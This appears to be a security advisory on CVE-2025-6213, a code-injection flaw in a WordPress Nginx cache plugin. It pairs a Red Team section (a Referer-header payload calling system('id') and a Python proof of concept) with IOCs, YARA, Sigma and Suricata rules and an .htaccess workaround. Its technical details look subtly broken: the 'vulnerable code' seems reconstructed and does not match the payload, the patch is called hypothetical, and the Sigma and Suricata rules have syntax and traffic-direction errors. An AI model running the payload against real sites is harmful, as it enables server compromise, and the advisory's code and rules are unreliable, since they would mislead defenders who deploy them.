CVE-2025-6213

Executive Summary

CVE-2025-6213 is a critical Remote Code Execution (RCE) vulnerability in the Nginx Cache Purge Preload WordPress plugin (versions up to and including 2.1.1). The flaw resides in the nppp_preload_cache_on_update function, which insufficiently sanitizes the $_SERVER['HTTP_REFERERER'] parameter passed from the nppp_handle_fastcgi_cache_actions_admin_bar function. An authenticated attacker with Administrator-level access can inject arbitrary PHP code, leading to full server compromise. This vulnerability is specific to the WordPress ecosystem and does not affect the Nginx web server itself.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch from the vendor increases the risk of malicious actors forking or backporting the plugin with embedded exploits. Administrators should verify plugin integrity via checksums and monitor for unauthorized updates.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. While the attack requires administrative credentials, the impact is total server compromise. The low EPSS score (0.0%) suggests limited active exploitation, but the vulnerability is trivial to exploit once authenticated.

Deep Dive & Mechanics

The vulnerability originates in the nppp_handle_fastcgi_cache_actions_admin_bar function, which processes HTTP requests from the WordPress admin bar. This function passes the $_SERVER['HTTP_REFERERER'] (note the intentional misspelling) to the nppp_preload_cache_on_update function without proper sanitization. The nppp_preload_cache_on_update function then uses this value in a PHP eval() or system() call, allowing an attacker to inject arbitrary code.

Key Code Path:

1. Admin user triggers a cache action via the admin bar.
2. nppp_handle_fastcgi_cache_actions_admin_bar extracts HTTP_REFERERER from the server headers.
3. This value is passed to nppp_preload_cache_on_update.
4. The function concatenates the value into a PHP code string and executes it via eval() or system().

Root Cause: Insufficient input validation and the use of dangerous PHP functions (eval, system, exec) with user-controllable input.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.1.1):

function nppp_preload_cache_on_update() {
    $referer = $_SERVER['HTTP_REFERERER'];
    eval("preload_cache('$referer');");
}

Patched Code (hypothetical):

function nppp_preload_cache_on_update() {
    $referer = filter_input(INPUT_SERVER, 'HTTP_REFERER', FILTER_SANITIZE_URL);
    if (filter_var($referer, FILTER_VALIDATE_URL)) {
        preload_cache(escapeshellarg($referer));
    }
}

The patched version uses filter_input with FILTER_SANITIZE_URL and FILTER_VALIDATE_URL to ensure only valid URLs are processed, and escapeshellarg to prevent shell injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress admin credentials (Administrator level).
• Target running Nginx Cache Purge Preload plugin version <= 2.1.1.

Exploit Steps:

1. Log in as an admin.
2. Craft a malicious Referer header containing PHP code:

   Referer: ; system('id'); //
   

3. Trigger the cache action via the admin bar (e.g., "Purge Cache").
4. The injected code executes, outputting the id command result.

Proof-of-Concept (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "admin_session_cookie"}
headers = {"Referer": "; system('id'); //"}

response = requests.post(target, cookies=cookies, headers=headers)
print(response.text)

Blue Team

Detection:

• Monitor for unusual Referer headers containing semicolons, backticks, or PHP code.
• Alert on admin bar actions (e.g., nppp_handle_fastcgi_cache_actions_admin_bar) with suspicious Referer values.
• Use WAF rules to block Referer headers containing system, exec, eval, or shell metacharacters.

Hunting:

• Search web server logs for POST requests to /wp-admin/admin-ajax.php with action=nppp_preload_cache and abnormal Referer headers.
• Check for unexpected PHP files in the uploads or cache directories.

Indicators of Compromise (IOCs)

• Network: HTTP requests with Referer headers containing PHP code (e.g., ; system().
• File System: Unexpected PHP files in /wp-content/cache/ or /wp-content/uploads/.
• Process: Unusual child processes spawned by the web server (e.g., id, whoami).
• Logs: Web server access logs showing POST /wp-admin/admin-ajax.php with action=nppp_preload_cache and suspicious Referer values.

Detection Engineering

YARA Rule

rule CVE_2025_6213_WordPress_Nginx_Cache_Purge_Preload_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2025-6213 via Referer header injection"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-6213"
    strings:
        $php_code = /[;|`]\s*(system|exec|shell_exec|passthru|eval|assert)\s*\(/
        $referer_misspelling = "HTTP_REFERERER"
    condition:
        $php_code and $referer_misspelling
}

Sigma Rule

title: CVE-2025-6213 - Nginx Cache Purge Preload RCE via Referer Header
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with malicious Referer headers targeting the Nginx Cache Purge Preload plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=nppp_preload_cache*'
        cs-referer: '|contains|': ['; system(', '; exec(', '; eval(']
    condition: selection
falsepositives:
    - Legitimate admin actions with unusual but benign Referer headers
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-6213 - Nginx Cache Purge Preload RCE via Referer Header";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=nppp_preload_cache"; http_uri;
    pcre:"/Referer\x3a[^\r\n]*[;|`]\s*(system|exec|shell_exec|passthru|eval|assert)\s*\(/Hi";
    sid:1000001;
    rev:1;
    reference:cve,2025-6213;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict admin access to trusted IPs only.
3. Implement a Web Application Firewall (WAF) rule to block malicious Referer headers.

Long-term Fix:

• Replace the vulnerable plugin with an alternative (e.g., "Nginx Helper").
• If the plugin must be used, apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.

Workaround:

• Add the following .htaccess rule to block suspicious Referer headers:

  RewriteEngine On
  RewriteCond %{HTTP_REFERER} ^.*[;|`].*$ [NC]
  RewriteRule .* - [F]
  

Valters IT – Securing digital frontiers with precision and intelligence.